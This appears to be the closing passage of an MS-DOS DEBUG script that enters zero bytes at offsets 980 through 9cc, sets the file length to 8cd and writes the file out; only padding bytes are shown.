E  980  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  990  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  9a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  9b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  9c0  00 00 00 00 00 00 00 00 00 00 00 00 00 
RCX
8cd
W
Q
